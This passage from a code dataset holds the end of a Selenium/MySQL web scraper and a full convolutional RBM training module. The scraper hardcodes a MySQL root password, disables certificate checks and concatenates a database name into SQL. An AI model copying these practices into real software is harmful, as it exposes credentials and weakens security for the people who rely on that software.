self.get_meta_content(content_boxes)\n        driver.close()\n        return content\n\n    def crawl_searches (self,rounds):\n        '''\n        Crawls through the buttons of a web page and saves on a SQL database every field found on the tags attribute, for example the 1,2,3,4,5 buttons of a search page.\n        It can start at any point and if it gets closed, then it restarts on the latest crawl button.\n        '''\n        #open pymysql\n        conn = pymysql.connect(host='127.0.0.1', user='root', passwd='Konoha.12')\n        cur = conn.cursor()\n        cur.execute('CREATE DATABASE IF NOT EXISTS '+self.database_name)\n        cur.execute('USE '+self.database_name)\n        # column_dict = self.get_web_site().column_dict\n        # column_dict.update(self.meta_web_sites['url_to_box_info'].column_dict)\n        cur.execute(create_table(self.web_site.columns,'Content'))\n        cur.execute(\"\"\"CREATE TABLE IF NOT EXISTS retrieved (\n            N_page INTEGER, url VARCHAR(255)\n            );\"\"\")\n        cur.execute(\"\"\"CREATE TABLE IF NOT EXISTS ids_retrieved (\n            ids INTEGER\n            );\"\"\")\n        #configure the browser\n        while rounds > 0:\n            chrome_options = Options()\n            chrome_options.add_argument(\"--ignore-certificate-errors\")\n            if (self.web_site.tor):\n                chrome_options.add_argument(\"--proxy-server=socks5://127.0.0.1:9150\")\n            driver = webdriver.Chrome(options=chrome_options)\n            #the max page is the last page retrieved, so we have to get the next one\n            cur.execute('SELECT MAX(N_page) FROM retrieved')\n            N_page = cur.fetchone()[0]\n            print(N_page)\n            if (N_page == None):\n                cur.execute('INSERT INTO retrieved (N_page,url) VALUES (%s,%s)',(1,self.web_site.starting_url))\n                cur.execute('SELECT MAX(N_page) FROM retrieved')\n                N_page = cur.fetchone()[0]\n            cur.execute('SELECT (url) FROM retrieved WHERE N_page = %s',(N_page,))\n            current_url = cur.fetchone()[0]\n            #add the n_page column in content\n            #retrieve the next page to visit so that is going to be the max in the next iteration\n            driver.get(current_url)\n            next_page = driver.find_element_by_link_text(str(N_page + 1)).get_attribute('href')\n            cur.execute('INSERT INTO retrieved (N_page,url) VALUES (%s,%s)', (N_page + 1,next_page))\n            #get the content\n            content_boxes = driver.find_elements_by_css_selector(self.web_site.content_box_tag)\n            #For each of elements we have to get the name, url and phone number\n            print(\"retrieving: \", current_url,\"on page number: \",N_page)\n            #gets a list of columns based on column_dict, it gets info from outside the button not the inside\n            content = self.get_content(content_boxes)  #{'N_page':N_page})\n            #iterate over every column\n            print(content)\n            for column in content:\n                #try:\n                sql_command = insert_into(column,'Content')\n                    #print(sql_command)\n                cur.execute(sql_command[0],sql_command[1])\n                #except:\n                    #print('Not able to insert into, probably a duplicate unique value')\n                    #continue\n            #print('succesfully retrieved the button information :)')\n            #Getting info from inside the buttons using the meta_web_sites list\n            #To use this is required to have a column on Content named url_to_box_info and every attribute to retrieve\n            driver.close()\n            if (self.meta_web_sites != {}):\n                #meta_web_sites is the template\n                cur.execute('SELECT url_to_box_info,id FROM Content')  #WHERE N_page = %s',(N_page,))\n                urls_to_box_info = cur.fetchall()\n\n                cur.execute('SELECT ids FROM ids_retrieved')\n                ids_retrieved = cur.fetchall()\n                #insert urls values and create the websites ans dave them on a list to scrape\n                page = self.meta_web_sites['url_to_box_info']\n\n                for url,id in urls_to_box_info:\n                    if ((id,) not in ids_retrieved):\n                        #call scrape_page for each website and save it on the database\n                        cur.execute('INSERT INTO ids_retrieved (ids) VALUES (%s)',(id))\n                        page.set_url(url)\n                        time.sleep(2)\n                        crawl = Crawler(page)\n                        content = crawl.scrape_page()\n                        for column in content:\n                            #try:\n                            sql_command = update(column,'Content',where={'url_to_box_info':url})\n                            print(sql_command)\n                            cur.execute(sql_command[0],sql_command[1])\n                            # except:\n                            #     print('Not able to insert into, probably a duplicate unique value')\n                            #     continue\n            conn.commit()\n            rounds -= 1\n            time.sleep(2)\n\n        cur.close()\n        conn.close()\n\n#______________________________________________________________________________#\n", "repo_name": "GaboUCR/Web-Scraping-with-Python", "sub_path": "Virginia Listing practice/Libselenium.py", "file_name": "Libselenium.py", "file_ext": "py", "file_size_in_byte": 9049, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "urllib.robotparser.RobotFileParser", "line_number": 52, "usage_type": "call"}, {"api_name": "selenium.webdriver.chrome.options.Options", "line_number": 102, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 106, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 106, "usage_type": "name"}, {"api_name": "pymysql.connect", "line_number": 120, "usage_type": "call"}, {"api_name": "Libsql.create_table", "line_number": 126, "usage_type": "call"}, {"api_name": "selenium.webdriver.chrome.options.Options", "line_number": 135, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 139, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 139, "usage_type": "name"}, {"api_name": "Libsql.insert_into", "line_number": 165, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 190, "usage_type": "call"}, {"api_name": "Libsql.update", "line_number": 195, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 203, "usage_type": "call"}]}
{"seq_id": "6444246511", "text": "import numpy as np\nfrom PIL import Image\nfrom scipy.signal import convolve2d\nimport matplotlib.pyplot as plt\n\nimport pickle\nimport DataHandler\n\nimport logging\nlogger = logging.getLogger('root.' + __name__)\nlogger.addHandler(logging.NullHandler())\n\ndef flipped(matrix):\n    \"\"\"\n    Flip matrix horizontally and vertically. Used for flipping kernels.\n    :param matrix: numpy.ndarray object\n    :return: flipped matrix\n    \"\"\"\n    result = np.ndarray(matrix.shape, dtype=matrix.dtype)\n    for i in range(matrix.size):\n        x = int(i / matrix.shape[1])\n        y = i % matrix.shape[1]\n        result[x][y] = matrix[matrix.shape[0] - x - 1][matrix.shape[1] - y - 1]\n    return result\n\n\ndef sigmoid(x):\n    \"\"\"\n    Simple sigmoid function. Warning: when overflow problems are encountered use sigmoid2 instead.\n    :param x: numerical value or numpy.ndarray\n    :return: sigmoid(x)\n    \"\"\"\n    return 1 / (1 + np.exp(-x))\n\n\ndef sigmoid2(x):\n    \"\"\"More stable but slower version of sigmoid function\n    :param x: ndarray\n    :return: ndarray of sigmoids\n    \"\"\"\n    if type(x) != 'np.ndarray' or (x.max() < 30 and x.min() > -30):\n        return sigmoid(x)\n    res = np.ndarray(x.shape)\n    for i in range(0, x.shape[0]):\n        for j in range(0, x.shape[1]):\n            if x[i][j] > 30:\n                res[i][j] = 1\n            elif x[i][j] < -30:\n                res[i][j] = 0\n            else:\n                res[i][j] = 1 / (1 + np.exp(-x[i][j]))\n    return res\n\n\nclass CCRBM:\n    \"\"\"\n    Convolutional Continuous Restricted Boltzmann Machine class.\n    This class provides data structure for an CCRBM as well as methods used for training, testing and monitoring\n    performance.\n    \"\"\"\n\n    def __init__(self, size_v, size_h, filters_no, conv_kernel, typeB='scalar', typeC='matrix'):\n        \"\"\"\n        :param size_v: vertical size of input image\n        :param size_h: horizontal size of input image\n        :param filters_no: how many feature maps\n        :param conv_kernel: size of convolutional kernel (tuple)\n        :param typeB: scalar or matrix version of feature map biases?\n        :param typeC: scalar or matrix version of visible layer bias?\n        \"\"\"\n        # RBM parameters\n        self.insize_v = size_v\n        self.insize_h = size_h\n        self.filters_no = filters_no\n        self.conv_kernel = conv_kernel\n        # neurons, weigths and biases\n        self.v = np.ndarray((size_v, size_h), dtype=np.float32)  # int32?\n        self.h = [np.ndarray((size_v - conv_kernel[0] + 1, size_h - conv_kernel[1] + 1),\n                             dtype=np.int8) for i in range(filters_no)]\n        self.W = [np.random.normal(0, 0.01, conv_kernel) for i in range(filters_no)]\n\n        if typeB not in ('scalar', 'matrix') or typeC not in ('scalar', 'matrix'):\n            raise ValueError('Wrong input arguments. typeB and typeC must be either \\'scalar\\' or \\'matrix\\'')\n        self.typeB = typeB\n        self.typeC = typeC\n\n        if self.typeB == 'scalar':\n            self.b = [np.random.normal(0, 0.01) for i in range(filters_no)]\n        else:\n            self.b = [np.random.normal(0, 0.01, (size_v - conv_kernel[0] + 1, size_h - conv_kernel[1] + 1)) for i in\n                      range(filters_no)]\n\n        if self.typeC == 'scalar':\n            self.c = np.random.normal(0, 0.01)\n        else:\n            self.c = np.random.normal(0, 0.01, (size_v, size_h))\n\n        self.dh = DataHandler.DataHandler()\n        self.imgInfo = None\n\n        self.iterations = 0\n        self.mse = []\n        logger.info('Created CCRBM. {}'\n                    .format(self))\n\n    def __str__(self):\n        res = 'v shape: ({}, {}), filters_no: {}, conv_kernel: {}, typeB: {}, typeC: {}'.format(self.insize_v,\n                                                                                                self.insize_h,\n                                                                                                self.filters_no,\n                                                                                                self.conv_kernel,\n                                                                                                self.typeB,\n                                                                                                self.typeC)\n        return res\n\n    def sample_h_given_v(self):\n        \"\"\"\n        Sample hidden layer values from visible layer values.\n        \"\"\"\n        for feature_map in range(self.filters_no):\n            tmp = convolve2d(self.v, flipped(self.W[feature_map]), mode='valid') + self.b[feature_map]\n            self.h[feature_map] = np.random.binomial(1, sigmoid2(tmp))\n\n    def sample_v_given_h(self):\n        \"\"\"\n        Sample visible layer values from hidden layers values/\n        \"\"\"\n        tmp = np.zeros((self.insize_v, self.insize_h))\n        for feature_map in range(self.filters_no):\n            tmp += convolve2d(self.h[feature_map], self.W[feature_map])\n        tmp += self.c\n        self.v = np.random.normal(tmp, 0.01)\n\n    def prob_h_given_v(self):\n        \"\"\"\n        Calculate activations probabilities for hidden layer given v.\n        \"\"\"\n        for feature_map in range(self.filters_no):\n            self.h[feature_map] = sigmoid2(\n                convolve2d(self.v, flipped(self.W[feature_map]), mode='valid') + self.b[feature_map])\n\n    def prob_v_given_h(self):\n        \"\"\"\n        Calculate activations probabilities for visible layer given h\n        \"\"\"\n        tmp = np.zeros((self.insize_v, self.insize_h))\n        for feature_map in range(self.filters_no):\n            tmp += convolve2d(self.h[feature_map], self.W[feature_map])\n        self.v = tmp + self.c\n\n    def batchMSE(self, batchSize=None, steps=3, sample=False):\n        \"\"\"\n        Mean Squared Error calculated over test set\n        :param batchSize: how many images? All test set by default\n        :param steps: how many Gibbs steps before calculating MSE\n        :param sample: sample values if True, takes probabilies otherwise\n        :return: Mean Squared Error over images from testset\n        \"\"\"\n        if self.dh.train is None:\n            raise ValueError('Data handler was not initialised, no source for images')\n        if batchSize is None:\n            batchSize = self.dh.te_size\n        mse = 0\n        for i in range(batchSize):\n            self.loadImage(i, dataset='test')\n            v0 = np.copy(self.v)\n            for j in range(steps):\n                if sample:\n                    self.sample_h_given_v()\n                    self.sample_v_given_h()\n                else:\n                    self.prob_h_given_v()\n                    self.prob_v_given_h()\n            mse += ((self.v - v0) ** 2).mean()\n        return mse / batchSize\n\n    def contrastiveDivergence(self, iterations, lrate, momentum, kGibbsSteps=1, batchSize=10, monitor=10):\n        \"\"\"\n        Contrastive divergence - 1 implemented with mini batch. Perform given number of iterations to train\n        CCRBM with given learning rate. Use provided batchSize. Monitor MSE every X steps using monitor parameter.\n        :param iterations: how many iterations (how many mini-batches)\n        :param lrate: learning hyperparameter\n        :param batchSize: how many images in mini-batch\n        :param monitor: track MSE every X iterations\n        \"\"\"\n        # bshape = (self.insize_v - self.conv_kernel[0] + 1, self.insize_h - self.conv_kernel[1] + 1)\n        # cshape = (self.insize_v, self.insize_h)\n\n        print('Starting Contrastive Divergence with following parameters:\\n' \\\n              'iterations = {}, learnig rate = {}, momentum = {}, k = {}, batch size = {}, monitor = {}'.format(iterations,\n                                                                    lrate, momentum, kGibbsSteps, batchSize, monitor))\n        logger.info('Contrastive Divergence called for CCRBM: {}'.format(self) +\n                 'iterations = {}, learnig rate = {}, momentum = {}, k = {}, batch size = {}, monitor = {}'.format(iterations,\n                                                                    lrate, momentum, kGibbsSteps, batchSize, monitor))\n        imgcounter = 0\n\n        dW_old = [0 for i in range(self.filters_no)]\n        db_old = [0 for i in range(self.filters_no)]\n        dc_old = 0\n\n        for it in range(self.iterations, self.iterations + iterations):\n\n            dW = [np.zeros(shape=self.W[0].shape, dtype=np.float32) for i in range(self.filters_no)]\n            db = [0 for i in range(self.filters_no)]\n            dc = 0\n\n\n            for batchidx in range(batchSize):\n                if imgcounter == self.dh.tr_size:\n                    print('All dataset has been used, staring from 0 again.')\n                    imgcounter = 0\n\n                self.loadImage(imgcounter)\n                imgcounter += 1\n\n                v0 = np.copy(self.v)\n                # print('MSE before update: {}'.format(self.msError(image)))\n\n                pH0 = [sigmoid2(convolve2d(self.v, flipped(self.W[k]), mode='valid') + self.b[k]) for k in\n                       range(self.filters_no)]\n                grad0 = [convolve2d(self.v, flipped(pH0[k]), mode='valid') for k in range(self.filters_no)]\n                self.h = [np.random.binomial(1, pH0[k]) for k in range(self.filters_no)]\n\n                self.sample_v_given_h()\n                for i in range(kGibbsSteps-1):\n                    self.sample_h_given_v()\n                    self.sample_v_given_h()\n\n                pH1 = [sigmoid2(convolve2d(self.v, flipped(self.W[k]), mode='valid') + self.b[k]) for k in\n                       range(self.filters_no)]\n                grad1 = [convolve2d(self.v, flipped(pH1[k]), mode='valid') for k in range(self.filters_no)]\n\n                for k in range(self.filters_no):\n                    dW[k] += (grad0[k] - grad1[k])\n                    if self.typeB == 'scalar':\n                        db[k] += (pH0[k] - pH1[k]).sum()\n                    else:\n                        db[k] += (pH0[k] - pH1[k])\n                if self.typeC == 'scalar':\n                    dc += (v0 - self.v).sum()\n                else:\n                    dc += (v0 - self.v)\n\n            for k in range(self.filters_no):\n                self.W[k] += (lrate / batchSize) * dW[k] + dW_old[k] * momentum\n                self.b[k] += (lrate / batchSize) * db[k] + db_old[k] * momentum\n                dW_old[k] = (lrate / batchSize) * dW[k] + dW_old[k] * momentum\n                db_old[k] = (lrate / batchSize) * db[k] + db_old[k] * momentum\n\n            self.c += (lrate / batchSize) * dc + dc_old * momentum\n            dc_old = (lrate / batchSize) * dc + dc_old * momentum\n\n            if not it % monitor:\n                if not self.mse:\n                    self.mse.append((it, self.batchMSE(steps=1)))\n                elif self.mse[-1][0] != it:\n                    self.mse.append((it, self.batchMSE(steps=1)))\n                print('Iter: {}   MSE: {}'.format(*self.mse[-1]))\n                logger.info('Iter: {}   MSE: {}'.format(*self.mse[-1]))\n        self.iterations += iterations\n        self.mse.append((self.iterations, self.batchMSE(steps=1)))\n        print('Iter: {}   MSE: {}'.format(*self.mse[-1]))\n        logger.info('Iter: {}   MSE: {}'.format(*self.mse[-1]))\n\n    def persistantCD(self, iterations, lrate, momentum, pcdSteps=5, monitor=10):\n        \"\"\"\n        Persistant contrastive divergence - 1 implemented with mini batch. Perform given number of iterations to train\n        CCRBM with given learning rate. Weights update every pscSteps steps. Monitor MSE every X steps using monitor parameter.\n        :param iterations: how many iterations (how many mini-batches)\n        :param lrate: learning hyperparameter\n        :param pcdSteps: how many PSC steps for one training example\n        :param monitor: track MSE every X iterations\n        \"\"\"\n        # bshape = (self.insize_v - self.conv_kernel[0] + 1, self.insize_h - self.conv_kernel[1] + 1)\n        # cshape = (self.insize_v, self.insize_h)\n        # mse = []\n        print('Starting Persistant Contrastive Divergence with following parameters:\\n' \\\n              'iterations = {}, learning rate = {}, momentum = {}, pcd steps = {}, monitor = {}'.format(iterations, lrate, momentum, pcdSteps,\n                                                                                         monitor))\n        logger.info('Persistant Contrastive Divergence called for CCRBM: {}'.format(self) +\n                 'iterations = {}, learning rate = {}, momentum = {}, pcd steps = {}, monitor = {}'.format(iterations, lrate, momentum, pcdSteps,\n                                                                                         monitor))\n        dW_old = [0 for i in range(self.filters_no)]\n        db_old = [0 for i in range(self.filters_no)]\n        dc_old = 0\n        imgcounter = 0\n        for it in range(self.iterations, self.iterations + iterations):\n\n            dW = [np.zeros(shape=self.W[0].shape, dtype=np.float32) for i in range(self.filters_no)]\n            db = [0 for i in range(self.filters_no)]\n            dc = 0\n\n            if imgcounter == self.dh.tr_size:\n                print('All dataset has been used, staring from 0 again.')\n                imgcounter = 0\n\n            self.loadImage(imgcounter)\n            imgcounter += 1\n\n            for pcd in range(pcdSteps):\n                if pcd == 0:\n                    v0 = np.copy(self.v)\n                # print('MSE before update: {}'.format(self.msError(image)))\n\n                pH0 = [sigmoid2(convolve2d(v0, flipped(self.W[k]), mode='valid') + self.b[k]) for k in\n                       range(self.filters_no)]\n                grad0 = [convolve2d(v0, flipped(pH0[k]), mode='valid') for k in range(self.filters_no)]\n                self.h = [np.random.binomial(1, pH0[k]) for k in range(self.filters_no)]\n\n                self.sample_v_given_h()\n\n                pH1 = [sigmoid2(convolve2d(self.v, flipped(self.W[k]), mode='valid') + self.b[k]) for k in\n                       range(self.filters_no)]\n                grad1 = [convolve2d(self.v, flipped(pH1[k]), mode='valid') for k in range(self.filters_no)]\n\n                # print('W:{} grad0:{} grad1:{}'.format(self.W[0].shape, grad0[0].shape, grad1[0].shape))\n                for k in range(self.filters_no):\n                    # if k ==1 and pcd == 0 : print('Iter {} delta.mean(k=1): {}, W.mean(k=1) : {}'.format(iter, delta.mean(), self.W[k].mean()))\n                    dW[k] += (grad0[k] - grad1[k])\n                    if self.typeB == 'scalar':\n                        db[k] += (pH0[k] - pH1[k]).sum()\n                    else:\n                        db[k] += (pH0[k] - pH1[k])\n                if self.typeC == 'scalar':\n                    dc += (v0 - self.v).sum()\n                else:\n                    dc += (v0 - self.v)\n\n            for k in range(self.filters_no):\n                self.W[k] += (lrate / pcdSteps) * dW[k] + dW_old[k] * momentum\n                self.b[k] += (lrate / pcdSteps) * db[k] + db_old[k] * momentum\n                dW_old[k] = (lrate / pcdSteps) * dW[k] + dW_old[k] * momentum\n                db_old[k] = (lrate / pcdSteps) * db[k] + db_old[k] * momentum\n                self.W[k] += (lrate / pcdSteps) * dW[k]\n                self.b[k] += (lrate / pcdSteps) * db[k]\n            self.c += (lrate / pcdSteps) * dc\n            dc_old = (lrate / pcdSteps) * dc + dc_old * momentum\n\n            if not it % monitor:\n                if not self.mse:\n                    self.mse.append((it, self.batchMSE(steps=1)))\n                elif self.mse[-1][0] != it:\n                    self.mse.append((it, self.batchMSE(steps=1)))\n                print('Iter: {}   MSE: {}'.format(*self.mse[-1]))\n                logger.info('Iter: {}   MSE: {}'.format(*self.mse[-1]))\n        self.iterations += iterations\n        self.mse.append((self.iterations, self.batchMSE(steps=1)))\n        print('Iter: {}   MSE: {}'.format(*self.mse[-1]))\n        logger.info('Iter: {}   MSE: {}'.format(*self.mse[-1]))\n\n    def loadV(self, image):\n        \"\"\"\n        Load visible layer providing an image.\n        :param image: Image to be loaded to self.v\n        \"\"\"\n        if image.shape != self.v.shape:\n            logger.error('[loadV] Size of provided image does not match v layer size!')\n            raise ValueError\n        self.v = image\n        self.imgInfo = None\n\n    def loadImage(self, imgNo, dataset='train'):\n        \"\"\"\n        Load image from data handler to visible layer\n        :param imgNo: number of image to be loaded\n        :param dataset: 'test' or 'train' set to be used\n        \"\"\"\n        if dataset == 'train':\n            image = self.dh.train[imgNo]\n        elif dataset == 'test':\n            image = self.dh.test[imgNo]\n        else:\n            logger.error('[loadImage] Only \\'test\\' or \\'train\\' datasets can be used')\n            raise ValueError\n\n        if image.shape != self.v.shape:\n            logger.error('[loadImage] Size of provided image does not match v layer size!')\n            raise ValueError\n        self.v = image\n        self.imgInfo = (dataset, imgNo)\n\n    def displayV(self, normalize=True, retImage=False):\n        \"\"\"\n        Display visible layer. Use normalize=True when using images from self.dh.\n        :param normalize: Use if displaying images from self.dh\n        :param retImage: if True will return V as PIL.Image. If False, will display V\n        \"\"\"\n        if normalize:\n            if self.imgInfo is not None:\n                if self.imgInfo[0] == 'train':\n                    keys = ('means_tr', 'std_tr')\n                elif self.imgInfo[0] == 'test':\n                    keys = ('means_te', 'std_te')\n                else:\n                    logger.error('[displayV] Normalization parameters were not provided.')\n                    raise ValueError\n                im = Image.fromarray(\n                    self.v * self.dh.normalParams[keys[1]] + self.dh.normalParams[keys[0]][self.imgInfo[1]])\n            else:\n                print('Normalization parameters were not provided, displaying visible layer without normalization')\n                im = Image.fromarray(self.v)\n        else:\n            im = Image.fromarray(self.v)\n\n        if not retImage:\n            im.show()\n        else:\n            return im\n\n    def displayFilters(self, fshape=None, itpl=False, howmany=None):\n        \"\"\"\n        Display filters of CCRBM.\n        :param fshape: tuple, grid size. i.e. for 40 filters can be (8, 5)\n        :param itpl: use bilinear interpolation or display raw pixels\n        \"\"\"\n        fig = plt.figure()\n        if fshape is None:\n            tmp = np.ceil(np.sqrt(self.filters_no))\n            fshape = [tmp, tmp]\n            while fshape[0] * (fshape[1] - 1) >= self.filters_no:\n                fshape[1] -= 1\n\n        plt.subplot(fshape[0], fshape[1], 1)\n        for i in range(len(self.W) if howmany is None else howmany):\n            plt.subplot(fshape[0], fshape[1], i + 1)\n            if itpl:\n                plt.imshow(self.W[i], cmap='gray', interpolation='bilinear')\n\n            else:\n                plt.imshow(self.W[i], cmap='gray')\n            # plt.title('# ' + str(i + 1))\n            plt.xticks([])\n            plt.yticks([])\n\n        fig.show()\n\n    def displayC(self):\n        \"\"\"\n        Display value of self.C or show as image if typeC is 'matrix'.\n        \"\"\"\n        if self.typeC == 'scalar':\n            print('C layer is a scalar! c = ' + str(self.c))\n            return\n        tmp = np.copy(self.c)\n        tmp -= tmp.min()\n        tmp = tmp * 255 / tmp.max()\n        Image.fromarray(tmp).show()\n\n    def plotMSE(self):\n        \"\"\"\n        Plot mean squared error as a function of iterations.\n        \"\"\"\n        if not self.mse:\n            print('MSE list is empty!')\n\n        f = plt.figure()\n        plt.plot([arg[0] for arg in self.mse], [arg[1] for arg in self.mse])\n        f.show()\n\n    def saveToFile(self, filename):  # TODO dont save datahandler images with CCRBM\n        \"\"\"\n        Save CCRBM to file.\n        :param filename: file name\n        \"\"\"\n        with open(filename, 'wb') as f:\n            pickle.dump(self, f)\n        logger.info('Saved CCRBM {} to file: {}'.format(self, filename))\n\n    def present(self, imgno=0):\n        self.loadImage(imgno)\n        self.displayV()\n\n        self.sample_h_given_v()\n        self.sample_v_given_h()\n        self.displayV()\n\n        self.loadImage(imgno)\n        self.prob_h_given_v()\n        self.prob_v_given_h()\n        self.displayV()\n\n        self.displayFilters()\n        self.plotMSE()\n\n\ndef getRbm(imsize1=64, imsize2=64, filters=40, cfilter=(5, 5), loadData=True):\n    \"\"\"\n    Get CCRBM, initialize DataHandler with brainweb data and normalize this data.\n    Used for tests.\n    :param imsize1: size_v\n    :param imsize2: size_h\n    :param filters: filters no\n    :param cfilter: conv kernel\n    :param loadBWdata: load and normalize brainweb data?\n    :return: CCRBM object\n    \"\"\"\n    rbm = CCRBM(imsize1, imsize2, filters, cfilter)\n    if loadData:\n        rbm.dh.readnpy(resize=True, shape=(imsize1, imsize2))\n        rbm.dh.normalize()\n    return rbm\n\n\ndef loadFromFile(filename):\n    \"\"\"\n    Load CCRBM from file.\n    :param filename: file name\n    :return: CCRBM object\n    \"\"\"\n    with open(filename, 'rb') as f:\n        rbm = pickle.load(f)\n    logger.info('Loaded CCRBM: {} from file: {}'.format(rbm, filename))\n    return rbm\n\n\nif __name__ == '__main__':\n    print('What can I do for you?')\n", "repo_name": "matkrak/enlargeme", "sub_path": "CCRBM.py", "file_name": "CCRBM.py", "file_ext": "py", "file_size_in_byte": 21472, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "logging.NullHandler", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 77, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 79, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 80, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 88, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 90, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 94, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 96, "usage_type": "attribute"}, {"api_name": "DataHandler.DataHandler", "line_number": 98, "usage_type": "call"}, {"api_name": "scipy.signal.convolve2d", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.random.binomial", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 121, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 127, "usage_type": "call"}, {"api_name": "scipy.signal.convolve2d", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 131, "usage_type": "attribute"}, {"api_name": "scipy.signal.convolve2d", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 145, "usage_type": "call"}, {"api_name": "scipy.signal.convolve2d", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 202, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 215, "usage_type": "call"}, {"api_name": "scipy.signal.convolve2d", "line_number": 218, "usage_type": "call"}, {"api_name": "scipy.signal.convolve2d", "line_number": 220, "usage_type": "call"}, {"api_name": "numpy.random.binomial", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 221, "usage_type": "attribute"}, {"api_name": "scipy.signal.convolve2d", "line_number": 228, "usage_type": "call"}, {"api_name": "scipy.signal.convolve2d", "line_number": 230, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 288, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 288, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 301, "usage_type": "call"}, {"api_name": "scipy.signal.convolve2d", "line_number": 304, "usage_type": "call"}, {"api_name": "scipy.signal.convolve2d", "line_number": 306, "usage_type": "call"}, {"api_name": "numpy.random.binomial", "line_number": 307, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 307, "usage_type": "attribute"}, {"api_name": "scipy.signal.convolve2d", "line_number": 311, "usage_type": "call"}, {"api_name": "scipy.signal.convolve2d", "line_number": 313, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 396, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 396, "usage_type": "name"}, {"api_name": "PIL.Image.fromarray", "line_number": 400, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 400, "usage_type": "name"}, {"api_name": "PIL.Image.fromarray", "line_number": 402, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 402, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 415, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 415, "usage_type": "name"}, {"api_name": "numpy.ceil", "line_number": 417, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 417, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 422, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 422, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 424, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 424, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 426, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 426, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 429, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 429, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 431, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 431, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 432, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 432, "usage_type": "name"}, {"api_name": "numpy.copy", "line_number": 443, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 446, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 446, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 455, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 455, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 456, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 456, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 465, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 510, "usage_type": "call"}]}
